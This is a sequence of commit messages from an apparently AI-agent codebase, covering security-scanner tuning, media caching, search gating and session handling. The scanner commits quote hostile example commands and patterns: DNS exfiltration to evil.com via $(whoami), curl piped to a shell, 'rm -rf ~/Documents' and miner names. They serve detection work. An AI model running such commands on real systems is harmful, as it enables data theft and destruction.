Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):
- crypto_mining: the bare coin name `monero` as a keyword in a connector
index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
lands at medium when nothing on the line names miner software, a pool,
an algorithm or the act of mining. xmrig / stratum / coinhive /
cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
the exfil shape itself (an interpolation inside a domain name,
`host $(whoami).evil.com`) or a shell command position (`; host $x`,
`do host $c`). "the connected host (${id})", a JS `host ${status}:`
message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
a `"key": "string"` pair or a bare string list element of a .json data
file (tips / translation table) takes the README prose cap. Command keys,
a string that starts with the command (`"sudo",` in an args array),
package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
literal is data, so a hostile-input table no longer counts as executing.
`os.system(...)`/`exec(...)` outside the literal still do; shell files
keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
`${HOME}`) gets the same note as the `$HOME` form; a wider target or the
same line in a .sh keeps severity.
curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.
SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
The catalog blast-radius sweep showed `hex_encoded_string` stepping down on
`[Frame(b"\x01\x00" * 200), ...]` — a Python LIST of byte strings that the
bracket lexer read as a regex class. Exclude quote characters from the class
body; the real control-char / ANSI classes in the sweep are unaffected.
Four false-positive classes surfaced by today's catalog intake, each demoted only
where the text is inert and proven to keep its severity at a command position:
- format_filesystem: the filesystem-format binary as an alternation member of a
guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an
un-overridable `dangerous`. Joins the existing alternation-token contract
-> high (caution). The same word at a command position (subprocess.run /
os.system / mid-pipeline command string) stays critical.
- env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose
loopback URL is on the continuation line (memex8 README.md:166). The pattern
already exempts a same-line loopback; re-run it over the logical line and
require every http(s) host be loopback -> low. A routable host anywhere on the
logical line keeps high (README) / critical (after-install.md).
- deception_hide: a skill tone rule quoting the phrase not to say
(`Do not tell the user to "be careful with terminal."`, hermes-tenuo
SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what`
concealment instructions still fire at high.
- hex_encoded_string: every `\xHH` inside a `[...]` regex character class
(`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or
beside a class, keeps medium.
PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan.
A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings
medium->low on real control-char regexes); attack probes identical.
The recovery-hint test used the hermes checkout as the owner cwd. CI's
actions/checkout writes a repo-local includeIf credential include, and
noninteractive_repo_git_env now refuses any includeIf, so the hint was
(correctly) withheld and the test read a missing key.
The salvage moved generated images/videos to cache/generated/<kind>/ so the
24h sweep stops deleting the only copy (#126445), but two consumers still
only knew the old swept dirs:
- Strict media delivery (HERMES_MEDIA_DELIVERY_STRICT=1) allowlists cache
roots via _MEDIA_DELIVERY_CACHE_SUBDIRS; without "generated" a day-old
generated image was rejected once the recency window lapsed, i.e. the
move broke re-sending artifacts on public gateways.
- iter_cache_files (Modal/remote resync) walked the new never-swept tree in
full, so every sync re-uploaded the whole generation history. Only files
within the sweep window (MEDIA_CACHE_MAX_AGE_HOURS) are synced now.
GENERATED_SUBDIR and MEDIA_CACHE_MAX_AGE_HOURS live in agent/provider_media
as the single source for the image/video writers, the gateway allowlist and
cleanup default, and credential_files. Also trims duplicated comments and
fixes the pet orchestrate comments (nothing prunes cache/generated/images).
Tests use direct function refs instead of importlib strings.
Keep sweep survival (parametrized over image/video writers) and the
cache/generated mount mapping; the outside-dir, per-file sync and SSH
artifact cases restate those two invariants.
Generated image/video output now writes under cache/generated/images|videos
instead of the swept inbound caches (cache/images, cache/videos). The hourly
gateway housekeeping deletes 24h-old files in those dirs; for base64-returning
providers the swept file was the only copy, breaking transcript references,
the Artifacts panel and later edits.
Rebased onto current main, where the writers delegate to agent/provider_media,
so the media kind is now the generated/ subpath. cache/generated is added to
tools/credential_files._CACHE_DIRS: without a mount/sync entry the Docker,
SSH and Modal backends never receive the bytes and the provider result loses
agent_visible_image. All callers consume the returned absolute paths, so no
call-site changes were needed; inbound download paths (get_image_cache_dir /
get_video_cache_dir) and the sweeper are untouched.
RED: tests/agent/test_generated_media_durable.py (9 failed on main) — 25h-backdated
generated files deleted by the real cleanup_image_cache / cleanup_video_cache, and
no mount mapping for cache/generated. tests/tools/test_image_generation_artifacts.py
::test_real_generated_image_is_agent_visible_under_ssh_env covers the sandbox
regression with the real writer. Green: 533 passed, 19 skipped.
Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
(cherry picked from commit fd23181f22232f66aec7076d6bf0868ed45661f2)
_preserve_unicode_in_replacement now takes the matched region directly
instead of (content, [span]) wrapped per call, and the normalized
old_string plus its old->new opcodes - identical for every match - are
computed once per replace_all rather than once per match.
The replace_all Unicode regression test moves to a pure
fuzzy_find_and_replace test in tests/tools/test_fuzzy_match.py, replacing
the registry-driven test_patch_unicode_replace_all.py.
Moving the strict parse_constant check into the shared _lint_json_inproc
made the fail-closed write gate reject EVERY write to a .json file that
already holds NaN/Infinity, so an unrelated patch to such a file became
impossible (a regression), and the lint-delta baseline flipped too.
Keep the lint lenient and do the strict check in write_file after the
pre-write probe: refuse a candidate containing NaN/Infinity/-Infinity
unless the pre-edit content already used one. Unknown pre-content
(missing file, unreadable) refuses, keeping new files strict.
The parametrized test replaces tests/tools/test_json_write_constants.py.
The refusal named a cause that cannot happen. `_vendor_gateway` never contacts the
network, so "unreachable" was wrong for the no-identity, failed-lookup and
not-entitled cases alike — and a guest was told it had no Nous identity when it
holds a perfectly good one.
Root of the guest case: `_error_info` dropped `account_tier`, so a guest whose
account lookup failed — precisely the state where the tier can no longer be read
from the JWT, because the token is inside its refresh window — came back looking
like a registered identity. Carry the stored tier through the error snapshot, and
both this refusal and every other tier-aware surface see it.
Pick the reason in priority order (guest / no usable identity / unreachable) in
one helper beside `fast_search_entitled`, so the predicate and its explanation
cannot drift, and phrase it as a clause for `selection_error`'s "but …" template —
the canonical `FREE_TIER_NEEDS_ACCOUNT` strings are standalone sentences and read
wrong embedded mid-sentence.
Also record why the `error` clause in `fast_search_entitled` is load-bearing
rather than defensive, so it is not removed as belt-and-braces.
The test helper now mirrors what anon_auth actually persists (the tier alongside
the token), which is what makes the failed-lookup case reproducible at all.
Two review findings on the free fast-search route.
A guest with a stored `web.backend: nous` holds a real Nous identity and a
usable token; the route excludes it by tier, not by absence. The refusal said
"no Nous identity or unreachable", which is wrong for exactly the cohort this
route was gated against. Reuse the canonical FREE_TIER_NEEDS_ACCOUNT text for
the anonymous tier and keep the unreachable wording for everyone else.
search() then called _managed_web_search() a third time just to choose that
message, after _managed_gateway() had already resolved the route — a full
autodetect ladder plus a Portal account read and token peek. Let _managed_gateway
accept the answer its caller already computed so a dispatch walks the ladder
once.
Docs: the autodetect row implies the keyless switch governs a registered
identity's web_search. It does not.
The free fast-search gate compares `account_tier` against the literal
"anonymous", but the claim arrives verbatim from the JWT or the account payload
and neither `_coerce_str` nor the reader strips or casefolds it. So "Anonymous",
"ANONYMOUS" and " anonymous " all read as a registered identity and hand the
guest tier the route the gate exists to reserve.
Normalize at the single definition — `NousPortalAccountInfo.is_anonymous_tier`,
which every consumer shares — rather than in the caller, and route the
module-level `_is_anonymous_tier` helper through the property so the two cannot
drift.
Measured before the fix: the three variants returned True from
`fast_search_entitled()` and resolved the gateway. After: all denied, and
reverting the normalization turns the new cases red.
The managed Perplexity ``search_type: "fast"`` route is served without funding
checks, but eligibility is still identity-scoped: the anonymous guest tier has no
Portal account behind it, so it must keep the keyless ring rather than claim a
route the gateway may not serve it.
``resolve_free_search_gateway`` resolved on the presence of a Nous token alone,
and the guest tier has a perfectly usable one, so every anonymous install would
have been routed to the gateway. Add ``fast_search_entitled`` — a registered
Portal identity of any tier, no credit or tool-pool requirement, anonymous tier
excluded, failing closed on unknown/error — and gate the free route on it.
Guests are byte-identical to before: the resolver returns None, autodetect falls
through to the keyless ring, and no gateway request is made. A registered
zero-credit account still gets free fast search. Extract and every other managed
vendor keep the paid entitlement gate.
The Tool Gateway serves Perplexity POST /search with search_type: "fast"
to any Nous identity without funding checks, but Hermes gated the route
locally behind managed_nous_tools_enabled() (paid access or a live tool
pool), and autodetect only selected managed Perplexity after the gated
Firecrawl probe passed. Anonymous and credit-exhausted users fell through
to the keyless ring without trying it.
Resolve the Perplexity search route on identity alone
(resolve_free_search_gateway: usable Nous token, same guest-disabled and
refresh rules), and let autodetect pick it when nothing explicit is
configured. Every other vendor keeps the entitlement gate, and the billed
managed-Firecrawl fallback now requires it too, so a free-search-only
caller whose call fails goes to the keyless rescue ring as before.
Explicit selections and direct keys keep precedence.
Follow-up to the in-process schedule tool:
- run-lifecycle guard: an unbound/malformed HERMES_KANBAN_RUN_ID now refuses
kanban_schedule, so a stale worker cannot park a card a successor owns
- goal_mode tasks are refused: `scheduled` ends the goal loop like `blocked`,
so parking would bypass the completion judge (#38696)
- stop nudge treats kanban_schedule as a handoff
- Codex app-server workers get it via EXPOSED_TOOLS
- cron/AGENTS.md lists it with the worker toolset
Refs #108554, #108566
The salvaged handler forwarded creativity/intensity/complexity/movement to
whichever route ran, declared or not. A model that copies slider values
from earlier turns after the backend changed would hand them to a
third-party generate() without **kwargs, which raises TypeError and fails
a plain text-to-image call that works today. Both plugin routes now keep
only the names in the provider's capabilities()["creative_controls"].
Tests: the dispatch test now declares one control and asserts the
undeclared one is dropped; the two schema tests become one relationship
test (the schema renders exactly what the Krea plugin declares, FAL renders
none) instead of pinning the enum and bounds.
Re-gate finding: dropping the override clause from the fallback condition kept every test
green, and would hand a spawn under a dashboard/cron override the LAUNCH profile's secrets
(an explicit target_home beats the override inside served_profile_child_env). The comment
now says that instead of claiming the slash-worker spawn has the same shape (it does not
check override or scope).
UnscopedSecretError reads "could not read this profile's OPENROUTER_API_KEY" when get_secret
passes the name, which the salvaged rule missed (fell to unknown). Key on the lede both
spellings share. The dedicated test duplicated the parametrized table (and retry_action of
a non-retryable code); the named spelling is a table row built from the real exception.
A spawn site that cannot resolve the target profile's secret scope fails with copy that says
"API key" and "restart", but nothing was ever sent to a provider. It classified as `unknown`;
give it its own code (`target_scope_unresolved`), claimed before the auth rules, never
auto-retried.
Salvaged from b0c6f0e165 (classifier half only; the refusal copy and reply rewrite were
dropped in review).
The salvaged fallback also fired on single-profile hosts and in the separate DM-runner
process, where it pinned HERMES_HOME, rewrote TMPDIR and overlaid .env secrets over a
pass-through env. Gate it on is_multiplex_active(), the same shape as the slash-worker
spawn (#115427), so single-profile hosts stay byte-identical.
The original test compared against production's own resolver, so swapping the fallback to
get_process_hermes_home() (follows a host-mirrored HERMES_HOME) stayed green. The new test
pins the launch home, mirrors another home into HERMES_HOME and asserts the literal launch
path + its key; a second test pins the single-profile pass-through. Mutations: launch->active
red, gate removed red, fallback removed red.
delivery_env() passed profile_home straight through, and _profile_home answers None for the
LAUNCH profile by design ("already the launch profile, no override needed"). A relay RPC is
sessionless, so it binds no secret scope, and served_profile_child_env then failed closed under
multiplex (tools/environments/local.py:404) with its generic "could not read this profile's API key".
Effect: every relayed DM into a *default* profile died on the delivering gateway, while deliveries
to named secondary profiles - which do resolve a home - kept working, and inbound stayed fine. That
asymmetry is the whole bug: it is the target being the launch profile, not the transport.
Resolve the launch home only when the two tiers served_profile_child_env already prefers (the home
override, then the bound secret scope) are both absent, so a bound scope still wins.
Red on base: delivery_env(None, None) raises UnscopedSecretError verbatim; green after, with the
override and scope tiers asserted to still take precedence.
(cherry picked from commit 39e09b02c459ae572a06a2a787c246639623ca65)
set_prompts_wait_for_answer() binds, per turn, that built-in approval prompts
have no deadline; approval_wait_seconds() is the one resolver the gateway poll
loop, the CLI prompt and the human-wait ceiling read. approvals.timeout keeps
governing messaging platforms, ACP and approval transport plugins.
A human-wait window now fixes its ceiling when its waiters enter it, so the
batch-deadline loop reading it from an unbound context still excludes an
unbounded prompt in full.
Ensure `--session <name>` is passed alongside `--cdp <ws_url>` in `tools/browser_tool_session.py:_run_browser_command()`.
Previously, `--session` was omitted when `session_info["cdp_url"]` was set, causing `agent-browser` CLI invocations to run statelessly without connecting to a session daemon. Consequently, the accessibility ref map built during `browser_snapshot` was not retained across CLI calls, causing subsequent ref actions like `browser_click("@e4")` or `browser_type("@e4", text)` to treat `@e4` as an unescaped CSS selector and fail with Playwright parser errors.
message.reaction events are session-scoped (they mutate a chat
transcript), but desktop_ui.emit() was routing ALL events through
HERMES_UI_SESSION_ID — a window/socket identity. The renderer's
gateway-event stream is keyed on the session id, so the frame
landed on a stream that doesn't own the transcript and was never
painted live. The reaction persisted correctly (the DB write is
session-aware), but only appeared after a resume/reload.
Window-level events (pane.reveal, preview.open) continue to route
by HERMES_UI_SESSION_ID unchanged.
Fixes#80678.
Queries (list/has_active/snapshot/kill_all/completion-wait) filtered on the
collapsed container key only, so a delegate child's own background work was
invisible under its raw sa-... id while GPU work ran: empty lists, missed
reaps, ownerless PIDs. Match container key OR raw owner_task_id via one
shared _spawned_by_task predicate.
Also stamp wsl[.exe]-launched spawns with a durable wsl_chain marker
(checkpoint-persisted) and surface a wsl -e ps pointer in list entries: the
recorded host PID is the short-lived launcher, never the Linux-side workers.
Scope: the ownership-chain half only. This commit deliberately leaves the
reported incident uncovered, so the tracker item referenced above (#120546)
stays open after merge: the launcher exiting still moves the session to
_finished, has_active_processes() and kill_all() still skip it, and no guest
PID tree is captured. Durable WSL-side worker tracking/reaping is a separate,
larger change and is not attempted here.
test_used_local_skill_still_produces_learning_node was reported as failing
under scripts/run_tests.sh (env -i) but passing under bare pytest, which read
as ambient-env leakage. Reproduction on both the reviewed head and the current
one shows the suite green under the scrubbed runner; the flake the reviewer hit
was the 'external' source loop-variable leak (fixed in 71485f5763), whose
manifestation depends on rglob scan order — env -i changes TMPDIR, which
changes the tmpdir layout, which changes the order the mount and the local
skill are yielded in. That env-dependence was coincidental, not causal.
Pin the hostile order directly: patch Path.rglob so the external mount's
SKILL.md always scans before the local skill, and assert the local skill still
classifies 'agent' (red at the reviewed head, green now). Also drop the
no-op monkeypatch of hermes_constants._hermes_home_cache — no such attribute
exists, so it reset nothing and only implied a cache reset that never happened.
Skills mounted from skills.external_dirs are externally authored, but every
provenance surface flattened them into 'agent': the usage report, the
dashboard's set-based twin, the desktop catalog/detail UI, and the learning
journey graph (where a used external mount rendered as a learned skill).
- tools/skill_usage: provenance() gains an 'external' tier (external-only:
a local copy of the same name keeps winning, mirroring is_agent_created's
external exclusion and _external_skill_names() scans external dirs once
for the router's set-based twin.
- web_routers/skills: /api/skills classifies hub > bundled > external > agent.
- learning_graph: skills whose path resolves under an external dir are tagged
source='external' and are never learning milestones — a mount is configured,
not learned, even when used.
- desktop: SkillInfo.provenance gains 'external'; the catalog labels mounts
'external' and the detail pane keeps them editable in place. Origin only,
never mutability: read-only enforcement for external mounts was deliberately
rejected by maintainers (commit 8c8fc6c1ec / PR #17512 — a refusal just
breeds silent local duplicates). Provenance decisions extracted into
skill-provenance.ts pure helpers (testable without source-reading tests).
- curator: usage report/filter knows the 'external' origin.
The desktop edit logic in this commit is the natural reading of 8c8fc6c1ec
(external dirs exist so the user can point Hermes at a vault they curate
elsewhere); if maintainers prefer the read-only half as well, it slots in
behind isEditableProvenance() in one place.
EOF
)
_fold_staged()/skill_pending_diff() folded patch ops with plain str.replace(),
ignoring replace_all and the fuzzy-match contract the approve path runs
(_patch_skill -> fuzzy_find_and_replace). A patch whose anchor repeats in the
target content previewed a folded diff ('X X') that /skills approve would then
reject with 'Found 2 matches'.
Fold previews through fuzzy_find_and_replace with the payload's replace_all and
render an explicit '(patch would fail: ...)' note instead of a fabricated
result; in a staged batch a failed patch leaves the later ops' base at the
pre-patch content, since approve aborts the batch at that op. Also drops the
trailing blank line at EOF flagged by git diff --check.
With skills.write_approval on, every skill write is staged to the
file-backed pending store, but no non-CLI surface could review it:
the desktop resolver marked the whole /skills family as the sidebar's
(desktop="settings") and discarded the subcommand token, and
tui_gateway command.dispatch had no route for /skills or /memory —
a failed slash worker turned both into the routing refusal, so staged
writes accumulated silently (#98330, #123315, #118812).
- hermes_cli/commands.py: new CommandDef.desktop_subcommands field;
/skills declares its write-approval review slice
(pending/approve/reject/diff/approval) and drops desktop="settings".
command_desktop_meta serializes the allowlist (empty tuple = deny
all); gateway contract regenerated.
- apps/desktop: the resolver threads the typed arg —
desktopSubcommandAllowlist, an exec gate
(desktopSubcommandUnavailableMessage) that renders an actionable
refusal for hub mutations instead of forwarding them, completion
filtering so the popover never suggests a dead end, and the
isDesktopSlashCommand(name, arg) threading at the runExec gate.
An explicit /skills spec keeps a current Desktop able to review
staged writes even against an older backend catalog.
- tui_gateway command.dispatch: _cmd_skills answers only the
registry-declared review slice under _session_home_scope (an
unlisted subcommand keeps the 4018 routing refusal); _cmd_memory
routes the shared handler with the live agent's store or a fresh
on-disk one and a profile-scoped config setter. Gate-off still
answers while staged writes exist (gateway parity, never stranded).
- tools/write_approval: _staged()'s review hint is surface-aware —
slash-capable surfaces (CLI/TUI/desktop/chat gateway) keep
"<command> pending"; headless contexts (cron, kanban, api_server,
webhook delivery) get the pending directory path instead of a
command nobody can deliver.
Batch skill writes also rendered "(batch on ...)" for /skills diff —
skill_pending_diff had no action='batch' case; ops now diff in order
against what earlier ops of the same batch left (finn763's #123861).
Supersedes #98794 (registry-driven desktop_subcommands + resolver
allowlist), #105773, #118821 (command.dispatch handlers + arg
threading), #123861 (batch diff renderer). #107799 is superseded by
the same subcommand-aware resolution.
Co-authored-by: foma-agent <foma@bokonon.ai>
Co-authored-by: Jason Havenaar <35441875+jasonHav@users.noreply.github.com>
Co-authored-by: finn763 <165816600+finn763@users.noreply.github.com>
Co-authored-by: chelsealong <chelsealong@126.com>
skill_pending_diff had no case for action='batch' (every skill_manage
operations[] write), so /skills diff <id> fell through to '(batch on …)'.
Batch ops apply in order: each op now diffs against what the earlier ops
of the same batch left in the file (disk only for untouched files), under
its skill_gist header; single-op paths are unchanged.
Filenames with extensions, hashes, UUIDs, dense model/version IDs and
paths were spoken character by character ('peyton-sample-20260922.wav'
as 'peyton dash sample dash two zero two six...'), making otherwise
clean synthesized audio sound corrupted (#119207).
One identifier-to-speech pass, mirrored token-for-token in
tools/tts_text_normalize.py (prune_identifier_tokens_for_tts, wired
into prepare_spoken_text after the symbols pass) and
apps/desktop/src/lib/speech-text.ts (pruneIdentifierTokens, in
sanitizeTextForSpeech after code fences/links/URLs/MEDIA tokens are
consumed). Identifier-dense tokens become silence — never a hardcoded
English placeholder word, per the #86602 lesson (the reply may be in
any language). Ordinary prose, email addresses, dates ('2026/06/02'),
ratios ('3:2'), prices and short hyphenated words (COVID-19,
well-known) pass verbatim.
Also fixes a pre-existing smooth_whitespace_for_tts bug the corpus
surfaced: 'user@example.com' was read as 'user@example. com' because
the punctuation-space pass split any letter-follows-punctuation pair;
it now only splits when the punctuation is not glued to a word
character on the left.
The two implementations are pinned to the same corpus
(tests/fixtures/identifier_speech_corpus.json), asserted by both
tests/tools/test_tts_identifier_speech.py (pytest) and
apps/desktop/src/lib/speech-text.identifier-corpus.test.ts (vitest).
Builds on the desktop-half approach of PR #119212 (which leaves the
gateway/CLI normalizer in tools/tts_text_normalize.py untouched) and
extends it to both halves.
Co-authored-by: KoNit-K <konit.block@protonmail.com>
The terminal approval check runs right after the lifecycle guard, on the
tool thread with no deadline. Seven hermes/docker/podman rules used the same
ambiguous `-{1,2}\S+(?:[=\s]\S+)?` flag repetition as the lifecycle pattern,
so the reported rclone command (and any long flag run after hermes, docker,
docker compose or podman) still froze the gateway in
detect_dangerous_command() once the lifecycle scan returned (#129281).
Give each rule a linear global-flag fragment with one parse per flag. The
docker/podman rules keep taking a separate value only after exactly one
whitespace character, as before, so no approval decision changes: old and
new rules agree on every command of up to four tokens with single spaces
and up to three tokens with mixed spaces, double spaces and tabs.
Reported-by: starship-s
The full-order test in test_oneshot_completion_linger plus the real-DB,
real-lease successor test pin the finalize order; drop the lease-before-linger
and memory-before-successor tests that re-asserted it, and let the wait-failure
test assert what it is about.
An owner lookup that kept raising, or a live owner whose receipt never left
queued/claimed, looped the runner forever (~46 MB each, holding the sender's
notify slot). Add an absolute deadline that reports the pending do-not-resend
payload, and treat an unconfirmable owner like a vanished one: one more window,
then release. The owner check now uses bot_live_delivery's claim match (which
also follows the compression tip), and the fresh pre-read before cancelling is
gone since cancel_queued_delivery re-reads under the mailbox lock.
Review feedback (Enough1122): _run_cleanup -> _shutdown_agent_memory_provider
-> MemoryManager.on_session_end is session-keyed settlement (OpenViking commits
sessions/{sid} synchronously; Supermemory flushes pending turns stamped with the
session id), and at the previous head it ran AFTER the lease release — a
successor admitted during the linger could be mid-turn on the session while the
predecessor committed its remote memory session underneath.
Move the shutdown into phase 1 (after the durable flush — #88583's failure
ordering — before the finalize hook's slot in ownership). It is idempotent
(_memory_provider_shutdown), so _run_cleanup's post-release repeat is a no-op.
Also correct the docstring: phase-1 settlement is best-effort, not a proven
invariant — failures are logged and the release still happens, because an
exited process pinning the lease is worse than a dangling row (session_recovery
reaps stale rows).
Adds a discriminating test: real lease, recording agent stub, successor
acquires during the linger — memory_commit must precede release precedes
successor_acquired. Order tests now pin flush → finalize → memory → release →
linger → teardown.
(cherry picked from commit 06dc026126a473a08f182014d38f5213a842c8a3)
Review feedback (andrexibiza): the previous revision released the lease before
_flush_one_shot_session_store, whose unconditional end_session (WHERE id=? AND
ended_at IS NULL, no owner fence) could stamp a successor's open interval when
the successor acquired and reopened the session during the lingering process's
post-release flush.
New order: session settlement (flush + finalize hook) → lease release →
process-only linger + teardown. Early admission is preserved (release still
precedes the linger); the handoff race is closed because the predecessor has
no session-owned writes left once it releases.
Adds a two-owner regression test (real SessionDB + real lease): the linger is
patched to play a successor that acquires and reopens mid-linger; the
successor's open interval must survive the predecessor's finalize. Verified
discriminating against BOTH unsafe orders (previous PR head and origin/main).
(cherry picked from commit e0b4a34a981f6d2bbdcc97be977e64e867987b6a)
A one-shot CLI run (hermes chat -Q, the Bot Mode delivery transport)
claimed the session lease at turn start and released it only via
atexit/finalize-tail, after the bounded exit linger for
notify_on_complete children. A run whose turn had ENDED but whose
process lingered alive-but-idle (observed: 434s drain wait, 0.016s CPU
over 20 min wall) kept the lease valid — its liveness check is
(pid, create_time) — so every new delivery into the session was refused
("Refused active session") for minutes after the turn finished, and
each refused delivery spawned its own lingering process tree
(#118826).
_finalize_single_query runs only after every turn of the run (main
turn, kanban goal loop, notify-completion follow-ups) is done, and none
of its remaining steps — the linger wait, the durable flush, cleanup —
runs a turn. The lease means "a turn may run on this session", so
release it FIRST: the boundary the one-shot path already declares ("the
exit linger is NOT part of the spawner's delivery", #113608). Cleanup
failure propagation is unchanged, and a cleanup failure can now never
skip the release.
(cherry picked from commit 438c68b80898efb9a287d39da32a94b772316d4e)
The skills security scanner had two blind spots (#63307 Part A):
1. destructive_home_rm only matched literal $HOME, not bare ~. A command
like 'rm -rf ~/Documents' scanned as safe for every trust tier.
2. No pattern detected the !`cmd` inline-shell DSL that
agent/skill_preprocessing.py expands via bash -c on skill view/load.
A skill carrying !`rm -rf ~/Documents` scanned safe.
Fix: extend destructive_home_rm to match ~/~ /~* (bare tilde forms),
add an inline_shell_exec pattern for the !`...` auto-exec snippet
(requires a non-space payload so a skill explaining the DSL is not
flagged), and bump SCANNER_VERSION to skills-guard-v7 so cached safe
verdicts are invalidated.
Also stop swallowing the scan verdict on the TUI-gateway skills.manage
install RPC (#63307 Part B): _skills_install returned installed:true on
every path, including a security-scan block, because its console was a
sink. It now keys the response off do_install's verdict and answers an
error envelope (5031) whose message/data carry the printed tail — the
scan verdict, the ambiguity candidate table, or the fetch failure —
instead of a silent success.
The Desktop one-click hub install path gets the same treatment from the
spawned CLI's exit code (hub-actions.ts already parses it).
Original scanner patterns by the PR author.
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>